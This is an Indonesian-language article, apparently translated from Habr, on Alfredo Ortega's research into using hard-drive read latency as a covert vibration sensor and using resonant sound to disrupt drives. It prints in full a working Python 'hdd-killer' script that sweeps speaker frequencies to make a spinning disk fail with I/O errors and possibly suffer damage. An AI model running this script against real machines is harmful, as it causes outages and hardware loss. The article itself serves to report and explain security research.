Mengapa Anda tidak harus berteriak pada HDD Anda

Mengapa Anda tidak harus berteriak pada HDD Anda

Pada konferensi keamanan komputer Ekoparty 2017 di Buenos Aires, peretas Argentina Alfredo Ortega menunjukkan perkembangan yang sangat menarik - sebuah sistem untuk penyadapan rahasia di suatu tempat tanpa menggunakan mikrofon. Suara direkam langsung ke hard drive!

HDD terutama menangkap suara frekuensi rendah berintensitas tinggi, langkah kaki, dan getaran lainnya. Ucapan manusia belum bisa dikenali, meskipun para ilmuwan sedang melakukan penelitian ke arah ini (pengenalan ucapan dengan getaran frekuensi rendah, yang direkam, misalnya, dari giroskop atau HDD).

Bunyi adalah getaran udara atau medium lain. Seseorang merasakannya melalui gendang telinga, yang mengirimkan getaran ke telinga bagian dalam. Mikrofon dirancang kira-kira seperti telinga - di sini juga, getaran direkam oleh selaput tipis, yang menggairahkan impuls listrik. Harddisk tentunya juga rentan terhadap getaran mikroskopis akibat fluktuasi udara di sekitarnya. Hal ini diketahui bahkan dari karakteristik teknis HDD: pabrikan biasanya menunjukkan tingkat getaran maksimum yang diizinkan, dan hard drive itu sendiri sering kali mencoba menempatkannya dalam wadah tahan getaran yang terbuat dari karet atau bahan isolasi lainnya. Dari sini mudah untuk menyimpulkan bahwa suara dapat direkam menggunakan HDD. Yang tersisa hanyalah mencari tahu caranya.

Alfredo Ortega mengusulkan versi unik dari serangan saluran samping, yaitu serangan waktu. Serangan ini didasarkan pada asumsi bahwa operasi berbeda dilakukan pada perangkat pada waktu berbeda, bergantung pada data masukan yang diberikan. Dalam hal ini, β€œdata masukan” adalah getaran kepala pembaca dan pelat HDD, yang berkorelasi dengan getaran lingkungan, yaitu dengan suara. Jadi, dengan mengukur waktu komputasi dan melakukan analisis statistik terhadap data, getaran head/platter dan getaran medium dapat diukur. Semakin lama penundaan dalam membaca data, semakin kuat getaran HDD dan karenanya, semakin keras suaranya.

Bagaimana cara mengukur getaran harddisk? Sangat sederhana: jalankan saja system call read () β€” dan catat waktu yang diperlukan untuk menyelesaikannya. Sistem operasi modern memungkinkan Anda membaca waktu panggilan sistem dengan akurasi nanodetik.

Kecepatan membaca informasi dari suatu sektor bergantung pada posisi head dan platter, yang berkorelasi dengan getaran casing HDD. Itu saja.

Analisis statistik dilakukan dengan menggunakan utilitas Kscope sederhana. Seperti kata pepatah, segala sesuatu yang cerdik itu sederhana.

Mengapa Anda tidak harus berteriak pada HDD Anda
Utilitas Kscope (stat() panggilan sistem)

Kscope adalah utilitas kecil untuk memvisualisasikan perbedaan kecil dalam waktu eksekusi panggilan sistem. Sumberdipublikasikan di GitHub.

Di repositori terpisah Waktu HDD ada versi utilitas yang dikonfigurasi untuk serangan waktu pada hard drive, yaitu dikonfigurasi untuk menganalisis panggilan sistem read ().

Demonstrasi perekaman suara menggunakan HDD, pengoperasian utilitas Kscope


Tentu saja ucapan tidak dapat dipahami dengan cara ini, namun HDD cukup cocok sebagai sensor getaran. Misalnya, Anda dapat mendaftar jika seseorang yang memakai sepatu keras atau bertelanjang kaki memasuki ruangan dengan komputer (mungkin, jika penyerang mengenakan sepatu kets lembut atau ada karpet tebal di lantai, HDD tidak akan dapat mendeteksi getaran - ini layak untuk diperiksa). Komputer mampu mendeteksi pecahan kaca atau kejadian lain dengan intensitas suara yang kuat. Artinya, hard drive dapat berfungsi sebagai semacam sistem deteksi intrusi yang tidak sah.

Pembunuh HDD

Omong-omong, teknik serupa juga dapat digunakan untuk menonaktifkan hard drive. Hanya di sini kami tidak menghilangkan osilasi dari HDD, tetapi sebaliknya, kami menghasilkan osilasi yang diumpankan ke HDD. Jika Anda memutar suara dari speaker pada frekuensi yang beresonansi dengan frekuensi HDD, sistem akan segera mematikan perangkat dengan kesalahan I/O (kernel Linux mematikan HDD sepenuhnya setelah 120 detik). Hard drive itu sendiri mungkin mengalami kerusakan permanen.

Mengapa Anda tidak harus berteriak pada HDD Anda
Kernel Linux mematikan hard drive setelah 120 detik mengirimkan suara pada frekuensi resonansi melalui speaker speaker USB Edifier r19u. Speaker dihidupkan dengan daya sekitar seperempat (kurang dari 100 mW) dan terletak 20 cm dari HDD, ditujukan ke meja untuk meningkatkan getaran. Bingkai dari klip video dengan demonstrasi pembunuh HDD

Sangat mengherankan bahwa β€œserangan” terhadap HDD seperti itu terkadang terjadi secara tidak sengaja dalam kehidupan sehari-hari. Misalnya, pada bulan September 2016, pusat data ING Bank terpaksa menghentikan operasinya selama 10 jam setelah latihan kebakaran. Lusinan hard drive telah gagal karena suara keras gas inert yang dilepaskan dari silinder bertekanan tinggi. Suaranya sangat keras (lebih dari 130 dB), tetapi Anda bahkan tidak dapat berteriak ke hard drive - hal ini meningkatkan penundaan dalam mengakses HDD.

Demonstrasi manusia berteriak pada hard drive di pusat data. Pengukuran latensi


Untuk menghasilkan suara yang beresonansi, Alfredo Ortega menulis skrip Python yang disebut pembunuh hdd (demonstrasi video).

Skrip pembunuh HDD Ukurannya cukup kecil, jadi Anda bisa mempublikasikannya secara keseluruhan di sini.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Sumber: www.habr.com

Tambah komentar